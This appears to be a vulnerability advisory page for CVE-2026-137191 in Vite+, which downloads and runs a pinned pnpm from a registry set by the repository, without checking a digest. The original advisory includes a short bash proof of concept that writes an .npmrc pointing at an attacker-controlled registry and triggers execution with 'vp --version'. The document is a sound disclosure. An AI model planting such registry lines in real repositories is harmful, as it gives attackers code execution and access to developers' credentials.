HIGH · CVSS 3.1 7.8 CWE-494CWE-829

CVE-2026-137191: Vite+: Code Execution via an Unverified Package Manager Download from a Repository-Named Registry

Published 2026-12-01 · Updated 2026-12-01 · Also known as GHSA-5qr3-w62x-jmwx

Summary

Vite+ downloads and executes a pinned package manager from an unverified repository-defined registry without digest checking during initial setup or upgrade. Engineering teams using Vite+ should upgrade to the fixed version immediately.

Who is affected

Affected deployments include any environment running Vite+ versions 0.2.9 through 1.4.0 where a user or CI runner clones a repository containing a malicious `.npmrc` file and executes the `vp` command prior to completion of setup. An attacker can achieve arbitrary code execution under the privileges of the developer or build account, potentially accessing sensitive credentials and tokens. The vulnerability requires that setup has not yet completed and the pinned manager is not already cached.

Exploitability

The vulnerability is locally exploitable with low attack complexity and requires no privileges, but relies on user interaction to clone and execute a command within a repository containing a crafted configuration. It impacts confidentiality, integrity, and availability with a CVSS base score of 7.8 (High). EPSS is not yet available and CISA KEV status is no.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-12-01. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
npm vite-plus >= 0, < 1.5.1 1.5.1 npm install [email protected]

CVSS 3.1 vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vectorLocal
Attack complexityLow
Privileges requiredNone
User interactionRequired
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

FAQ

What causes the code execution vulnerability in Vite+?

Vite+ downloads the pnpm build it pins for internal use from a registry specified by the project directory's configuration without verifying any digest or restricting the host.

What conditions are required for an attacker to exploit this flaw?

The target must clone a repository with a malicious `.npmrc` file, run a command like `vp --version` before setup has completed, and the pinned manager must not already be cached.

How can this vulnerability be resolved?

Engineering teams must update the vite-plus package to version 1.5.1 or later.

Original advisory description
## Summary A newly installed or upgraded Vite+ downloads the pnpm build it pins for internal use and executes it without comparing any digest (CWE-494). That happens before anything else, because Vite+ installs its own dependencies first, and it takes its registry from configuration inside the project directory. One line of `.npmrc` in a cloned repository therefore makes Vite+ fetch a package manager from a server the repository author operates and run it, on a command as innocuous as `vp --version`, with no script in the repository. Execution precedes dependency installation, so build-script approval never applies. ## Details The third argument of the download call is the expected hash, and the literal absent value is passed: ```rust let (pnpm_dir, _, _) = download_package_manager(PackageManagerType::Pnpm, PINNED_PNPM_VERSION, None) // vp_setup/src/install.rs:294 ``` Two things turn that absent hash into code execution. First, the check is skipped rather than failed. The download helper compares a digest only when one is supplied, on both of its branches, so passing nothing means no comparison happens at all and the download still succeeds (`vp_pm_cli/src/request.rs:563-568`). Second, the registry is chosen by the repository. Vite+ reads npm configuration relative to the working directory, so an `.npmrc` committed at the root of a cloned project is loaded as the project layer and applied last, which lets it win over any user or global setting. Its `registry` value is then used as given, with no scheme or host restriction (`vp_pm_cli/src/config.rs:50-112`). What arrives is run directly as the pinned package manager: Vite+ forms the entry-point path, builds a command around it and executes it (`vp_setup/src/install.rs:301-380`). Vite+ does verify its own release archive (`vp_setup/src/lockfile.rs:128`), so the gap here is an inconsistency inside the product rather than a capability it lacks. Affected product: Vite+ (VoidZero Inc.), global `vp` command line interface, setup path Affected versions: 0.2.9 through 1.4.0 inclusive, confirmed on published 1.4.0 (darwin-arm64 SHA-1 `57dd1c7`, linux-x64-gnu `2344ceb`) ## PoC Default configuration, no credentials. `$REG` answers any `.tgz` with a package named `pnpm` whose `bin/pnpm.cjs` writes `$VP_POC_MARKER`. The run gets its own `HOME` and `VP_HOME`. ```bash printf 'registry=%s\n' "$REG" > victim-repo/.npmrc printf '{"name":"demo-app","version":"1.0.0","private":true}\n' > victim-repo/package.json ( cd victim-repo && env HOME="$LAB/home" VP_HOME="$LAB/vphome" \ VP_POC_MARKER="$VP_POC_MARKER" vp --version > /dev/null 2>&1 ) cat "$VP_POC_MARKER" ``` ```text marker file: VP_SETUP_RCE_CONFIRMED attacker registry received: GET /pnpm/-/pnpm-10.34.7.tgz ``` One request fetched the pinned archive and its entry point ran. Benign controls, one variable each: the same command in a repository with the same manifest but no `.npmrc`, and the same hostile repository against an installation that had completed setup, each wrote no marker and made no request. With the server stopped, a later run still ran the cached copy. ## Impact Arbitrary code execution as the developer or build account (CWE-494, with CWE-829 for the attacker-chosen origin. The attacker reads anything that account can read, including credential files and tokens, and writes anything it can write. A manager that fails denies installs and builds. Two ordinary conditions bound it: setup has not yet completed, recorded by a marker beside the binary, and the pinned manager is not already cached. Those hold for every new install, every upgrade and every ephemeral CI runner.

References

Source records: GHSA-5qr3-w62x-jmwx (OSV.dev).